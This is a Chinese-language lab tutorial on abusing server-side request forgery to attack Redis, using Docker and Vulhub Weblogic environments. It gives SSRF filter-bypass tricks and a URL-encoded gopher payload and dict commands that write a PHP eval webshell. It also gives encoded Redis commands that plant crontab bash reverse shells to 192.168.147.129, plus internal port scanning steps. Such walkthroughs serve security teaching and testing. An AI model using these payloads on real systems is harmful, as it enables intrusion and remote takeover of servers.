SSRF中Redis的利用

news2024/9/27 12:13:08

目录

1. SSRF

1.1 什么是SSRF

1.2 漏洞成因

1.3 可能会存在SSRF的地方

1.4 SSRF分类

1.5 验证方法

1.6 利用方式

1.7 可以利用的协议

1.8 SSRF过滤绕过

2. SSRF攻击Redis

2.1 环境搭建

2.2 漏洞复现(通过ssrf利用redis写入webshell)

2.2.1 想要写入webshell的两个条件

2.2.2 通过gopherus实现

0x00 Gopherus(gopher协议利用工具)

Gopherus简介

Gopherus可以生成的payload

命令

实际演示

2.2.3 通过Dict协议实现

Dict协议使用注意事项

实际演示

3. Weblogic SSRF漏洞(Redis利用)

3.1 环境搭建

3.1.1 Vulhub

3.1.2 运行环境

3.2 漏洞测试

3.2.1 内网扫描

3.2.2 通过redisGetshell

3.2.3 crontab可以写入的位置


本文由掌控安全学院 - Track-劲夫 投稿

1. SSRF

1.1 什么是SSRF

 SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(因为请求是由服务端帮我们发起的,所以我们可以通过它来向其所在的内网机器发起请求)。

1.2 漏洞成因

 SSRF漏洞形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。例如,黑客操作服务端从指定URL地址获取网页文本内容,加载指定地址的图片等,利用的是服务端的请求伪造,SSRF利用存在缺陷的WEB应用作为代理攻击远程和本地的服务器。

1.3 可能会存在SSRF的地方

 
  1. > 转码服务

  2. > 在线翻译

  3. > 获取超链接的标题等内容进行显示

  4. > 请求远程服务器资源的地方,图片加载与下载(通过URL地址加载或下载图片)

  5. > 图片、文章收藏功能

  6. > 对外发起网络请求的地方,网站采集、网页抓取的地方。

  7. > 一切要你输入网址的地方和可以输入ip的地方。

  8. > 数据库内置功能(mongodb的copyDatabase函数)

  9. > 从URL关键字中寻找:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain

1.4 SSRF分类

 我觉得就分为回显和不回显两种方式,会回显请求的响应内容那么最好不过,如果不会回显的话,那么一般就只能通过响应时间来判断了

1.5 验证方法

 如果是会回显信息的SSRF漏洞,那么看他的响应结果就好了,如果是不会回显的,那么我们可以利用DNSLOG来进行判断

1.6 利用方式

  1. 对外网或服务器所在的内网或服务器自身发起端口扫描

  2. 攻击运行在内网或本地的应用程序

  3. 利用file协议读取本地文件

  4. ……..

1.7 可以利用的协议

  1. http/https,发起HTTP请求

  2. file,如果会回显数据的话,那么我们可以使用file协议读取目标本地文件

  3. dict,可以用来探测目标端口

  4. gopher,可以发送get/post请求

  5. ftp,文件传输协议

  6. …..

1.8 SSRF过滤绕过

  1. 0.0.0.0,这个IP地址可以直接访问到本地

  2. 把IP地址的格式进行转换从而绕过

 
  1. 通常我们用的是127.0.0.1,但事实上127这个段的地址都用来表示本机地址了,所以像127.155.155.155这样的也是可以的,还可以进行进制转换也是可以的

  2. > 8进制(把127转为八进制写的时候前面加个0):0177.0.0.1

  3. > 16进制(把127转为十六进制写的时候前面加个0x):0x7f.0.0.1

  4. > 16进制整数格式:0X7F000001

  5. > 10进制证书格式(把16整数转为10进制):2130706433

  6. 上面这些都是可以访问到的

  1. localhost

  2. 利用@绕过例如,www.baidu.com@127.0.0.1

  3. 利用非HTTP协议,例如上面说到的gopher或者dict

  4. 利用DNS解析(可以用DNSLOG)

  5. 利用IPv6

  6. 添加端口号

  7. [::]代替127.0.01,比如http://[::]:80,这样也是可以访问到的

2. SSRF攻击Redis

2.1 环境搭建

使用Docker进行环境的搭建,需要的文件我已经打包好了,如果没有docker环境的话需要安装(请使用linux系统)

  1. 使用tar xzvf ssrf.tar.gz解压ssrf.tar.gz,

  2. cd ssrf_dockerfile,进入到解压的文件目录下

  3. 构建镜像,docker build -t ssrf:v1 .

    图片

  4. Successfully built说明构建成功,也可以再使用docker images命令查看镜像是否存在

    图片

  5. docker run -d -p 80:80 ssrf:v1,启动镜像

    图片

  6. 启动成功,访问127.0.0.1查看是否搭建成功

    图片

  7. 漏洞点为ssrf.php,参数名为url,测试一下是否存在漏洞

    图片

环境搭建完毕

2.2 漏洞复现(通过ssrf利用redis写入webshell)

2.2.1 想要写入webshell的两个条件

  1. 要知道网站的绝对路径

  2. redis有目录的写入权限

2.2.2 通过gopherus实现

这里是通过gopher协议进行利用

0x00 Gopherus(gopher协议利用工具)
Gopherus简介

Gopherus下载地址

自己手动把攻击语句转换成Gopher协议的格式会很麻烦,这款工具里面内置了一些早就写好的利用语句,我们只需要学会如何使用它就可以很方便的写出一些我们需要的利用语句。

Gopherus可以生成的payload
  1. MySQL (Port-3306)

  2. PostgreSQL(Port-5432)

  3. FastCGI (Port-9000)

  4. Memcached (Port-11211)
    If stored data is getting De-serialized by:

    • Python

    • Ruby

    • PHP

  5. Redis (Port-6379)

  6. Zabbix (Port-10050)

  7. SMTP (Port-25)

命令
 
  1. gopherus --exploit [mysql | postgresql | fastcgi | redis | smtp | zabbix | pymemcache | rbmemcache | phpmemcache | dmpmemcache]

exploit后面写要利用的服务就好了

实际演示

这里将使用Gopherus这个工具生成利用语句,不了解的小伙伴可以先去看一下Gopherus那一段

  1. 再phpinfo页面中我们可以看到站点的绝对路径为/var/www/html

    图片

  2. 启动gopherus,python gopherus.py --exploit redis,shell写入方式选择phpshell

    图片

  3. 然后填入绝对路径,这里刚好是默认的,回车就好

    图片

  4. 然后填写要写入的内容,我这里写的一句话木马

    图片

  5. 生成好了,如果执行成功他会再目录下生成shell.php这个文件

    图片

  6. 现在这个语句还不能马上拿去用,需要做一下处理gopher://127.0.0.1:6379/_这部分不用变,后面的复制,再拿去进行一次url编码,然后拼接回gopher://127.0.0.1:6379/_后面,我处理好的如下

     
      
    1. gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_REQUEST%255B8%255D%2529%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

  7. 然后传参给url参数,回车

    图片

  8. shell写入成功

    图片

2.2.3 通过Dict协议实现

Dict协议使用注意事项
  1. Dict协议中可以用:代替空格

  2. ?会截断后面的内容(写马的情况下要想办法bypass “?”)

  3. dict协议一次只能发送一条数据

实际演示
  1. dict://127.0.0.1:6379/flushall,先清空所有的key

    图片

  2. dict://127.0.0.1:6379/set:hack:'<script language="php">@eval($_REQUEST[8]);</script>',写入一句话木马到key中,这里最好进行一次url编码

    图片

  3. dict://127.0.0.1:6379/config:set:dir:/var/www/html/,设置工作目录

    图片

  4. dict://127.0.0.1:6379/config set dbfilename hack.php,设置持久化文件名为hack.php,这里把去掉了:用了空格,注意两者没有差别

    图片

  5. dict://127.0.0.1:6379/save,保存生成持久化文件

    图片

  6. 成功

    图片

再可以回显的情况下,其实也可以查看redis中的数据

图片

3. Weblogic SSRF漏洞(Redis利用)

3.1 环境搭建

3.1.1 Vulhub

这里用的是Vulhub中的环境来复现的,所以就简单说一下

简单来说Vulhub是一个漏洞复现的测试靶场它里面内置了许多的漏洞环境,并且提供了复现文档,如下图
 

图片


Vulhub下载地址
文档地址
怎么搭建和使用它也有帮助文档,百度上面也有很多相关的教程,这里就不多说了
这里要用的是它的weblogic SSRF漏洞的这个环境

图片

3.1.2 运行环境

  1. 进到vulhub中的/weblogic/ssrf/目录下

    图片

  2. 执行如下命令启动环境,docker-compose up -d,如果报错没有docker-compose这个命令的话,百度一下怎么安装

    图片

  3. 执行docker ps命令查看环境是否已经运行了,这里是已经运行起来了

    图片

  4. 环境搭建完毕,开干!!!

    图片

3.2 漏洞测试

3.2.1 内网扫描

这个漏洞点的位置在

 
  1. http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp

点击search抓包,可以看到operator的参数值是一个链接

图片

那我们测试这里是否存在ssrf,把地址改成http://127.0.0.1:7001之后它的显示是这样的

图片

然后我们随便改成其他端口,可以发现保存的内容是不一样的,那么我们可以由此来判断端口是否存在

图片

把包发送到Intruder模块,进行端口枚举

图片

这里就设置1~10000的范围

图片

没有他探测到有其他端口开放

图片

尝试对内网进行扫描,我这里的docker环境内网地址应该是172.18这个段的,所以我就跑这个段了,设置好范围

图片

我这里用的是自定义迭代器的payload类型,第一个填172,分隔符为.

图片

第二个填18,分隔符为.

图片

第三个填0~255,分隔符为.

图片

第四个填0~255,注意没有分隔符

图片

开冲,可以看到如果地址不存在是返回No route to host

图片

而这个存在的显示内容如下,那么对他进行端口扫描

图片

检测到6379端口开放,这个的redis的默认端口,下面尝试是否可以进行利用

图片

3.2.2 通过redisGetshell

Weblogic的SSRF有一个比较大的特点,就是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

这里我们利用crontab计划任务反弹shell,先用nc开启监听nc -lvp 9999

图片

然后编写redis名命令,命令中的IP地址和端口号记得改成自己的

 
  1. aaa

  2. set 1 "\n* * * * * bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n"

  3. config set dir /var/spool/cron

  4. config set dbfilename root

  5. save

  6. aaa

然后进行url编码,注意换行用%0d%0a替换

 
  1. http://172.18.0.2:6379/aaa%0D%0A%0D%0Aset%201%20%22%5Cn*%20*%20*%20*%20*%20%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%0D%0Aconfig%20set%20dbfilename%20root%0D%0Asave%0D%0A%0D%0Aaaa

好了之后直接拼接到url后面然后Send

图片

成功获得shell

图片

注意点

  1. 计划任务可能会等一会才会执行,shell不会立马反弹,等个一分钟左右

  2. 一定要docker容器和主机可以通信,我因为nc的机器没关防火墙明明成功了,但是弹不回shell

3.2.3 crontab可以写入的位置

  1. /ect/crontab

 
  1. TEST

  2. set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n\n\n\n"

  3. config set dir /etc/

  4. config set dbfilename crontab

  5. save

  6. BBB

 
  1. TEST%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0ABBB

  1. /etc/cron.d/*

 
  1. TEST

  2. set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.147.129/9999 0>&1\n\n\n\n"

  3. config set dir /etc/cron.d

  4. config set dbfilename shell

  5. save

  6. BBB

 
  1. TEST%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.147.129%2F9999%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2Fcron.d%0D%0Aconfig%20set%20dbfilename%20shell%0D%0Asave%0D%0A%0D%0ABBB

  1. /var/spool/cron/root,复现过程中用的就是这个

  2. var/spool/cron/crontabs/root,debian系统下root用户的cron文件

申明:本文所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1334361.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ECMAScript 的未来:预测 JavaScript 创新的下一个浪潮

以下是简单概括关于JavaScript知识点以及一些目前比较流行的比如&#xff1a;es6 想要系统学习&#xff1a; 大家有关于JavaScript知识点不知道可以去 &#x1f389;博客主页&#xff1a;阿猫的故乡 &#x1f389;系列专栏&#xff1a;JavaScript专题栏 &#x1f389;ajax专栏&…

ChatGPT/GPT4+AI绘图+论文写作+编程结合到底有多强大?带你详细了解

ChatGPT在论文写作与编程方面具备强大的能力。无论是进行代码生成、错误调试还是解决编程难题&#xff0c;ChatGPT都能为您提供实用且高质量的建议和指导&#xff0c;提高编程效率和准确性。此外&#xff0c;ChatGPT是一位出色的合作伙伴&#xff0c;可以为您提供论文写作的支持…

Tofu5m目标识别跟踪模块 跟踪模块

Tofu5m 是高性价比目标识别跟踪模块&#xff0c;支持可见光视频或红外网络视频的输入&#xff0c;支持视频下的多类型物体检测、识别、跟踪等功能。 产品支持视频编码、设备管理、目标检测、深度学习识别、跟踪等功能&#xff0c;提供多机版与触控版管理软件&#xff0c;为二次…

智慧零售技术探秘:关键技术与开源资源,助力智能化零售革新

智慧零售是一种基于先进技术的零售业态&#xff0c;通过整合物联网、大数据分析、人工智能等技术&#xff0c;实现零售过程的智能化管理并提升消费者体验。 实现智慧零售的关键技术包括商品的自动识别与分类、商品的自动结算等等。 为了实现商品的自动识别与分类&#xff0c;…

echarts属性名

theme {// 全图默认背景// backgroundColor: rgba(0,0,0,0),// 默认色板color: [#ff7f50,#87cefa,#da70d6,#32cd32,#6495ed,#ff69b4,#ba55d3,#cd5c5c,#ffa500,#40e0d0,#1e90ff,#ff6347,#7b68ee,#00fa9a,#ffd700,#6699FF,#ff6666,#3cb371,#b8860b,#30e0e0],// 图表标题title: {…

DshanMCU-R128s2硬件设计指南

硬件设计指南 原理图设计 硬件系统框图 R128是一颗专为“音视频解码”而打造的全新高集成度 SoC&#xff0c;主要应用于智能物联和专用语音交互处理解决方案。 单片集成 MCURISCVDSPCODECWIFI/BTPMU&#xff0c;提供生态配套成熟、完善的用于系统、应用和网络连接开发的高效…

Web 3.0 是什么

第 1 章 明晰Web 3.0 从本章开始,就进入了本书的第一篇章,入门Web3.0,在第一篇章中将会让读者对Web3.0有一个整体的认知,为学习后面的章节打下基础。 在本章中,主要介绍的是Web的发展历史,包涵Web1.0、Web2.0、Web3.0的发展过程,以及资本为什么需要入场Web3.0、Web3.0…

新玩法!如何在 PieCloudDB Database 中“种”一棵圣诞树?

随着圣诞节的到来&#xff0c; 很多城市也都张灯结彩&#xff0c; 处处充满了节日气息。 圣诞节当然离不开圣诞树啦&#xff01; 和家人一起挂上圣诞装饰&#xff0c; 树下放上互相准备的小礼物&#xff0c; 小小的仪式感&#xff0c; 充满了浪漫与温馨。 今天&#xff…

Python 高级(二):使用 webbrowser 控制浏览器

大家好&#xff0c;我是水滴~~ 本文将介绍 webbrowser 模块的详细使用方法&#xff0c;文章中包含大量的示例代码&#xff0c;希望能够帮助新手同学快速入门。 《Python入门核心技术》专栏总目录・点这里 文章目录 前言一、导入webbrowser模块二、打开网页&#xff08;open&am…

项目联系 Spring Boot + flowable 快速实现工作流

总览 使用flowable自带的flowable-ui制作流程图 使用springboot开发流程使用的接口完成流程的业务功能 基于 Spring Boot MyBatis Plus Vue & Element 实现的后台管理系统 用户小程序&#xff0c;支持 RBAC 动态权限、多租户、数据权限、工作流、三方登录、支付、短信…

DN-DETR调试记录

先前的DN-DETR模型都是在服务器上运行的&#xff0c;后来在本地运行时出现了一些小问题&#xff0c;这篇博文则主要介绍DN-DETR模型在本地运行时所需要做的配置。 运行环境 首先DN-DETR的运行环境与DINO一致&#xff0c;这里就不再赘述了。 博主使用的本地配置是I7-13700H406…

2024 年 10大 AI 趋势

2025 年&#xff0c;全球人工智能市场预计将达到惊人的 1906.1 亿美元&#xff0c;年复合增长率高达 36.62%。 人工智能软件正在迅速改变我们的世界&#xff0c;而且这种趋势在未来几年只会加速。 我们分析了未来有望彻底改变 2024 年的 10 个AI趋势。从生成式人工智能的兴起到…

TensorFlow入门和案例分析

一、什么是TensorFlow 在这里&#xff0c;引入TensorFlow中文社区首页中的两段描述。 关于 TensorFlow TensorFlow™ 是一个采用数据流图&#xff08;data flow graphs&#xff09;&#xff0c;用于数值计算的开源软件库。节点&#xff08;Nodes&#xff09;在图中表示数学操作…

免费的苹果清理软件2024新版mac清理大师CleanMyMac官版下载

免费的苹果清理软件2024新版mac清理大师CleanMyMac官版下载 作为一款专业的mac电脑系统管家&#xff0c;CleanMymac X一直致力于更加智能、便捷地全方位维护我们的电脑&#xff0c;它囊括了多种系统工具&#xff0c;包括电脑智能体检、扫描系统垃圾、移除恶意软件、清理个人隐…

电路设计(6)——彩灯控制器的multism仿真

1.功能设计 使用两个运算放大器、两个计数器芯片&#xff0c;实现了彩灯的循环移位控制。 整体原理图如下所示&#xff1a; 运行效果截图如下&#xff1a; 小灯分为两组&#xff0c;一组十个&#xff0c;在脉冲的驱动下&#xff0c;轮流发光&#xff01; 2.设计思路 两个运放…

2023年山东省职业院校技能大赛高职组“软件测试”赛项竞赛任务书

2023年山东省职业院校技能大赛高职组 “软件测试”赛项竞赛任务书 目录 2023年山东省职业院校技能大赛高职组 “软件测试”赛项竞赛任务书 竞赛概述 竞赛时间 本次竞赛时间共为8小时&#xff0c;参赛选手自行安排任务进度&#xff0c;休息、饮水、如厕等不设专门用时&#…

前端常用的Vscode插件

前端常用的Vscode插件&#x1f516; 文章目录 前端常用的Vscode插件&#x1f516;1. Chinese (Simplified) (简体中文) Language Pack for Visual Studio Code -- Vscode中文插件2. Code Runner -- 快速运⾏调试代码3. Live Server -- 实时重新加载本地开发服务器4. Image prev…

【并发编程篇】源码分析,手动创建线程池

文章目录 &#x1f6f8;前言&#x1f339;Executors的三大方法 &#x1f354;简述线程池&#x1f386;手动创建线程池⭐源码分析✨代码实现&#xff0c;手动创建线程池&#x1f388;CallerRunsPolicy()&#x1f388;AbortPolicy()&#x1f388;DiscardPolicy()&#x1f388;Dis…

Django 访问前端页面一直在转异常:ReferenceError:axios is not defined

访问&#xff1a;http://127.0.0.1:8080/ my.html 一、异常&#xff1a; 二、原因 提示&#xff1a;axios找不到&#xff01;&#xff01; 查看代码<script src"https://unpkg.com/axios/dist/axios.min.js"></script>无法访问到官网 三、解决 Using j…

一站式指南:第 377 场力扣周赛的终极题解

比赛详情 比赛地址 题目一很简单题目二主要是题目长了点&#xff0c;其实解法很常规(比赛后才意识到)题目三套用Dijkstra算法题目四没时间解答水平还有待提升(其实就是需要灵活组合运用已知的算法&#xff0c;有点类似大模型的Agent) 题解和思路 第一题&#xff1a;最小数字…